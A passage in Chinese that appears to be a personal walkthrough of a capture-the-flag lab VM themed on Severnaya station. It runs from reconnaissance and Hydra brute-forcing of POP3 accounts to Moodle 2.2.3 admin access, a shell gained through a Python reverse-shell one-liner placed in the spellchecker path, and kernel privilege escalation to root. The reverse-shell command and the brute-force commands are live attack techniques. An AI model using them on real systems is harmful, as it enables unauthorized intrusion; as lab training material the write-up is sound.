注:因记录时间不同,记录中1.111和1.105均为靶机地址。
1信息收集
1.1得到目标,相关界面如下:
1.2简单信息收集
wappalyzer插件显示:
web服务器:Apache 2.4.7
OS:Ubuntu
Nmap扫描端口:
Open port 80/25/55006/55007
1.3查看web页面更多信息
页面显示添加/sev-home/访问,于是访问http://172.16.1.111/sev-home/如下
没有用用户名密码,且页面无更多信息,尝试查看源码
发现terminal.js文件
点击查看
js文件中涉及信息如下:
人名:Boris,Natalya
编码:
html实体编码,解码后为:InvincibleHack3r
尝试使用已知两个用户名和解码后的信息登陆,发现登陆失败。Boris小写后成功登陆
登陆后的页面信息提示:
“pop3服务配置为在一个非常高的非默认端口上运行”
结合最初nmap扫描的信息,可能为55006或55007。
识别端口:
Nmap识别:Nmap -Pn -p your-port -sV your-IP,显示pop3端口为55007
我是偶然加端口访问,看到相关端口信息
爆破POP3
利用已知用户名,使用工具进行爆破。这里使用hydra。
root@kali:~# hydra -l natalya -P 6000dict.txt 172.16.1.105 -f -s 55007 pop3
root@kali:~# hydra -l boris -P 6000dict.txt 172.16.1.105 -f -s 55007 pop3
PS:hydra用法:
hydra -l muts -P pass.txt my.pop3.mail pop3
-l 指定用户名
-L 指定用户名字典
-p 指定密码破解
-P 指定密码字典
-f 破解一个就停止
-s 指定端口
截止目前,爆破得到的信息如下
N:boris P:secert1!
N:natalya P:bird
nc查看账户
boris账户登录:
(不知道什么原因,其他人能正常登录,我的不行。好在账户的三封邮件信息无关)
natalya账户登录:
查看第一封邮件
(好像没有有价值信息)
查看第二封邮件
从邮件进一步得到信息:
username: xenia
password: RCP90rulez!
Domain: severnaya-station.com/gnocertdir
并指出需要host文件 severnaya-station.com in /etc/hosts.
按照套路,使用得到的用户名和密码登录邮箱,显示失败。转向web界面尝试。
修改本机host文件
Win10下位置(没有则新建):/windows/system32/drivers/etc
修改内容:172.16.1.105 severnaya-station.com
访问severnaya-station.com/gnocertdir
登录
到此,正式登录系统
2 漏洞发现
登陆系统,例行查看信息
发现cms类型,js库版本,编程语言等更多信息。
随处点击查看,发现
猜想CMS为moodle,版本为2.2.3
百度搜索该CMS漏洞,发现有rce漏洞。msf搜索,发现exp。
在所有必要信息中,缺少用户名和密码。先放一放,继续查看
登录后,打开看到未读邮件,发现用户doak
继续使用工具对doak账户进行爆破
USER doak
PASS goat
登录doak邮箱,查看邮件
得到
账号 dr_doak
密码 4England!
(邮箱尝试,不存在该用户)网页登录,发现如下内容
点击文档下载查看
提到图片 /dir007key/for-007.jpg
查看http://severnaya-station.com/dir007key/for-007.jpg
网上看Linux下使用strings工具多图片进行分析
不会用,没有找到有用信息
使用exiftool,查看
或者查看图片信息
发现信息:eFdpbnRlcjE5OTV4IQ==
使用小葵解密,为xWinter1995x!
继续查看,发现如下。猜测admin为管理员账户
使用admin账户 xWinter1995x!密码登录
页面信息印证CMS版本猜想
至此,得到使用该CMS漏洞exp的所有信息
3漏洞利用
使用Msf的exp
运行失败
拿shell方法2
百度搜索,找到另一种方法
1、在Home >Site administration >Server >System paths中添加反弹shell的代码
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("本机ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
2、在 Home >Site administration>Plugins > Text editors >TinyMCE HTML editor中将Spell engine改为PSpellShell
3、本地nc监听端口
4、在Home> My profile >Blogs >Add a new entry随便填点东西,然后点击下图中红框的Toggle spellchecker,之后就获得shell
获取shell之后要做的第一件事是使用Python获取一个tty
python -c 'import pty; pty.spawn("/bin/bash")'
4 权限提升
查看当前服务器版本
kali查找可用提权方式
找到kali中的文件,放到本地
Python开启服务
在nc中连接,将本机文件上传至靶机(这里改名为444.c)
因靶机中未安装gcc,故用cc编译,需将文件中一处gcc换为cc
上传>编译>修改权限>执行
到此,拿到root权限